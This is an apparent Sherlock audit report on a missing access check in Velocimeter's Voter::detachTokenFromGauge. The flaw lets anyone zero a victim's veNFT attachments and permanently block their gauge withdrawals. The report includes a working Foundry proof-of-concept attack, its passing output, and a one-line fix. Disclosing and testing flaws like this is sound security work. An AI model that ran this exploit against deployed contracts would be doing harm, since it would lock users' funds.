Polite Butter Gazelle

High

# `Voter::detachTokenFromGauge` missing access control allows attacker to block withdrawals from gauges

## Summary

`VotingEscrow::create_lock` allows users to lock their `LP` tokens in return for an NFT (veNFT) with `token id` that represents their locked position.

`veNFT` holders can choose to deposit into gauges, which will increment their `attachments mapping` (attached tokens) amount in `VotingEscrow` that corresponds to their `token id`. Conversely, withdrawing will `detach` their token by decrementing their `attachments` amount in `VotingEscrow`.

When the `attachments` is incremented, it is done by the following call flow: `GaugeV4::deposit` => `Voter::attachTokenToGauge` => `VotingEscrow::attach`. `Voter::attachTokenToGauge` verifies that the `msg.sender` is a valid gauge.

However, `Voter::detachTokenFromGauge` does *not* verify that the caller is from a valid gauge. Anyone can call this function by passing in any `token id` to decrement the `attachments` amount of that `token id` until `attachments = 0`.

Then, when the user decides to withdraw, the following call flow will execute: `GaugeV4::withdraw` => `Voter::detachTokenFromGauge` => `VotingEscrow::detach`, which will revert due to underflow since it will decrement 1 from `attachments = 0`.

This will allow an attacker to permanently DoS withdrawals by calling `Voter::detachTokenFromGauge` with an innocent user's `tokenId` until their `attachments` mapping is decremented to 0.

## Vulnerability Detail

Users can lock their LP tokens to receive a `veNFT`:

[VotingEscrow.sol#L835-L852](https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol#L835-L852)
```javascript
    /// @notice Deposit `_value` tokens for `_to` and lock for `_lock_duration`
    /// @param _value Amount to deposit
    /// @param _lock_duration Number of seconds to lock tokens for (rounded down to nearest week)
    /// @param _to Address to deposit
    function _create_lock(uint _value, uint _lock_duration, address _to) internal returns (uint) {
        uint unlock_time = (block.timestamp + _lock_duration) / WEEK * WEEK; // Locktime is rounded down to weeks

        require(_value > 0); // dev: need non-zero value
        require(unlock_time > block.timestamp, 'Can only lock until time in the future');
        require(unlock_time <= block.timestamp + MAXTIME, 'Voting lock can be 52 weeks max');

        ++tokenId;
        uint _tokenId = tokenId;
@>      _mint(_to, _tokenId); //@audit will mint an NFT to the caller

        _deposit_for(_tokenId, _value, unlock_time, locked[_tokenId], DepositType.CREATE_LOCK_TYPE);
        return _tokenId;
    }
```

They can proceed to attach tokens to gauges by calling `GaugeV4::deposit`

Note that `GaugeV4.sol` is mentioned in this report, however both `Gauge.sol` and `Gauge4.sol` are in-scope for this audit and this bug still exists whether `Gauge.sol` is used or `Gauge4.sol`.

[GaugeV4.sol#L477-L482](https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/GaugeV4.sol#L477-L482)
```javascript
    if (tokenId > 0) {
        require(IVotingEscrow(_ve).ownerOf(tokenId) == account);
        if (tokenIds[account] == 0) {
            tokenIds[account] = tokenId;
@>          IVoter(voter).attachTokenToGauge(tokenId, account);
        }
```

Note that they can only attach once for each `tokenId` since the `tokenIds[account]` mapping will be populated.

Following the call flow, `Voter::attachTokenToGauge` is called with the account and corresponding `tokenId`:

[Voter.sol#L431-L436](https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/Voter.sol#L431-L436)
```javascript
    function attachTokenToGauge(uint tokenId, address account) external {
        require(isGauge[msg.sender]);
        require(isAlive[msg.sender]); // killed gauges cannot attach tokens to themselves
@>      if (tokenId > 0) IVotingEscrow(_ve).attach(tokenId);
        emit Attach(account, msg.sender, tokenId);
    }
```

`VotingEscrow::attach` will increment the `attachments` amount for the `tokenId`:

[VotingEscrow.sol#L1185-L1188](https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol#L1185-L1188)
```javascript
   function attach(uint _tokenId) external {
        require(msg.sender == voter);
        attachments[_tokenId] = attachments[_tokenId] + 1;
    }
```

Now, let's take a look at `Voter::detachTokenFromGauge`:

[Voter.sol#L444-L447](https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/Voter.sol#L444-L447)
```javascript
    function detachTokenFromGauge(uint tokenId, address account) external {
        if (tokenId > 0) IVotingEscrow(_ve).detach(tokenId);
        emit Detach(account, msg.sender, tokenId);
    }
```

We can see this function lacks access control. A caller can specify any `tokenId` and proceed to detach their tokens:

[VotingEscrow.sol#L1190-L1193](https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol#L1190-L1193)
```javascript
    function detach(uint _tokenId) external {
        require(msg.sender == voter);
        attachments[_tokenId] = attachments[_tokenId] - 1;
    }
```

Let's assume an attacker calls this on a user's `tokenId` until their `attachments` amount is 0. Then, when the user proceeds to withdraw their tokens via `GaugeV4::withdraw`:

[GaugeV4.sol#L536-L539](https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/GaugeV4.sol#L536-L539)
```javascript
    if (tokenId > 0) {
        require(tokenId == tokenIds[msg.sender]);
        tokenIds[msg.sender] = 0;
@>      IVoter(voter).detachTokenFromGauge(tokenId, msg.sender);
```

This call will attempt to execute `VotingEscrow::detach` and proceed to execute `attachments = 0 - 1`, which will revert due to underflow. The attacker will be able to permanently block withdrawals.

## Proof of Concept

<details>
<summary>Coded PoC</summary>
<br>

Create a file called `testWithdrawDoS.t.sol` in the `test/` folder.

Add the following to `test/testWithdrawDoS.t.sol` and run `forge test --mt testWithdrawBlocked -vv`

```javascript
pragma solidity 0.8.13;

import "./BaseTest.sol";
import "contracts/factories/GaugeFactoryV4.sol";

contract testWithdrawDoS is BaseTest {
    VotingEscrow escrow;
    GaugeFactoryV4 gaugeFactory;
    BribeFactory bribeFactory;
    Voter voter;
    GaugeV4 gauge;

    function setUp() public {
        deployOwners();
        deployCoins();
        mintStables();

        uint256[] memory amounts = new uint256[](2);
        amounts[0] = 2 * TOKEN_1M; // use 1/2 for veNFT position
        amounts[1] = TOKEN_1M;
        mintFlow(owners, amounts);

        VeArtProxy artProxy = new VeArtProxy();
        deployPairFactoryAndRouter();

        deployMainPairWithOwner(address(owner));
        escrow = new VotingEscrow(address(FLOW), address(flowDaiPair), address(artProxy), owners[0]);


        gaugeFactory = new GaugeFactoryV4();
        bribeFactory = new BribeFactory();
        gaugePlugin = new GaugePlugin(address(FLOW), address(WETH), owners[0]);
        voter = new Voter(address(escrow), address(factory), address(gaugeFactory), address(bribeFactory), address(gaugePlugin));
        factory.setVoter(address(voter));

        address[] memory tokens = new address[](4);
        tokens[0] = address(USDC);
        tokens[1] = address(FRAX);
        tokens[2] = address(DAI);
        tokens[3] = address(FLOW);
        voter.initialize(tokens, address(owner));
        escrow.setVoter(address(voter));

        deployOptionTokenV3WithOwner(
            address(owner),
            address(gaugeFactory),
            address(voter),
            address(escrow)
        );

        gaugeFactory.setOFlow(address(oFlowV3));

        flowDaiPair.setVoter(); // update the pair contract to use the correct voter contract
             
        address address1 = factory.getPair(address(FLOW), address(DAI), false);

        pair = Pair(address1);
        vm.prank(address(voter));
        address gaugeAddress = voter.createGauge(address(pair), 0);
        gauge = GaugeV4(gaugeAddress);
        vm.stopPrank();
        oFlowV3.setGauge(address(gauge));
        
    }

    function washTrades() public {
        FLOW.approve(address(router), TOKEN_100K);
        DAI.approve(address(router), TOKEN_100K);
        router.addLiquidity(
            address(FLOW),
            address(DAI),
            false,
            TOKEN_100K,
            TOKEN_100K,
            0,
            0,
            address(owner),
            block.timestamp
        );

        Router.route[] memory routes = new Router.route[](1);
        routes[0] = Router.route(address(FLOW), address(DAI), false);
        Router.route[] memory routes2 = new Router.route[](1);
        routes2[0] = Router.route(address(DAI), address(FLOW), false);

        uint256 i;
        for (i = 0; i < 10; i++) {
            vm.warp(block.timestamp + 1801);
            assertEq(
                router.getAmountsOut(TOKEN_1, routes)[1],
                flowDaiPair.getAmountOut(TOKEN_1, address(FLOW))
            );

            uint256[] memory expectedOutput = router.getAmountsOut(
                TOKEN_1,
                routes
            );
            FLOW.approve(address(router), TOKEN_1);
            router.swapExactTokensForTokens(
                TOKEN_1,
                expectedOutput[1],
                routes,
                address(owner),
                block.timestamp
            );

            assertEq(
                router.getAmountsOut(TOKEN_1, routes2)[1],
                flowDaiPair.getAmountOut(TOKEN_1, address(DAI))
            );

            uint256[] memory expectedOutput2 = router.getAmountsOut(
                TOKEN_1,
                routes2
            );
            DAI.approve(address(router), TOKEN_1);
            router.swapExactTokensForTokens(
                TOKEN_1,
                expectedOutput2[1],
                routes2,
                address(owner),
                block.timestamp
            );
        }
    }



    function testWithdrawBlocked() public {
        vm.startPrank(address(owner)); // assume this address is Alice's address
        washTrades();
        flowDaiPair.approve(address(gauge),TOKEN_1);
        flowDaiPair.approve(address(escrow), TOKEN_1);
        FLOW.approve(address(escrow), TOKEN_1);
        uint256 lockDuration = 7 * 24 * 3600; // 1 week

        assertEq(escrow.balanceOf(address(owner)), 0);
        escrow.create_lock(TOKEN_1, lockDuration); // create lock for Alice
        assertEq(escrow.balanceOf(address(owner)), 1);

        uint256 gaugeBalanceBefore = flowDaiPair.balanceOf(address(gauge));
        uint256 attach = escrow.attachments(1);

        console.log("Attachments of tokenId 1 before Alice's deposit: ", attach);
        console.log("Gauge balance before Alice's deposit: ", gaugeBalanceBefore);

        gauge.deposit(TOKEN_1, 1); // deposit lp tokens

        uint256 gaugeBalanceAfter = flowDaiPair.balanceOf(address(gauge));
        console.log("Gauge balance after Alice's deposit: ", gaugeBalanceAfter);

        attach = escrow.attachments(1);
        console.log("Attachments of tokenId 1 after Alice's deposit: ", attach);

        vm.stopPrank();

        vm.warp(block.timestamp + 7 * 86400 + 1);
        
        address attacker = vm.addr(1);
        vm.startPrank(address(attacker));
        voter.detachTokenFromGauge(1, address(attacker)); // attacker sets attachment to 0

        attach = escrow.attachments(1);
        console.log("Attachments of tokenId 1 after attacker detaches Alice's token: ", attach);

        vm.stopPrank();

        vm.startPrank(address(owner));
        vm.expectRevert();
        gauge.withdraw(TOKEN_1); // Alice's attempt to withdraw will fail due to underflow
        vm.stopPrank();
    }
}
```
</details>

### Console Output

```text
Running 1 test for test/testWithdrawDoS.sol:testWithdrawDoS
[PASS] testWithdrawBlocked() (gas: 3474391)
Logs:
  Attachments of tokenId 1 before Alice's deposit:  0
  Gauge balance before Alice's deposit:  0
  Gauge balance after Alice's deposit:  1000000000000000000
  Attachments of tokenId 1 after Alice's deposit:  1
  Attachments of tokenId 1 after attacker detaches Alice's token:  0

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 15.85ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

We can see from the test that Alice's attempt to withdraw reverted due to underflow since the attacker detached her tokens from the gauge.

## Impact

Denial of Service, withdrawals blocked completely, users' tokens locked in `GaugeV4` contract, loss of funds.

## Code Snippet

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol#L835-L852

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/GaugeV4.sol#L477-L482

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/Voter.sol#L431-L436

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol#L1185-L1188

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/Voter.sol#L444-L447

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol#L1190-L1193

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/GaugeV4.sol#L536-L539

## Tool used

Manual Review

## Recommendation

Ensure the function can only be called by users who initiate withdrawals from gauges (which verifies sender is owner of tokenId)

```diff
    function detachTokenFromGauge(uint tokenId, address account) external {
+       require(isGauge[msg.sender]);
        if (tokenId > 0) IVotingEscrow(_ve).detach(tokenId);
        emit Detach(account, msg.sender, tokenId);
    }
```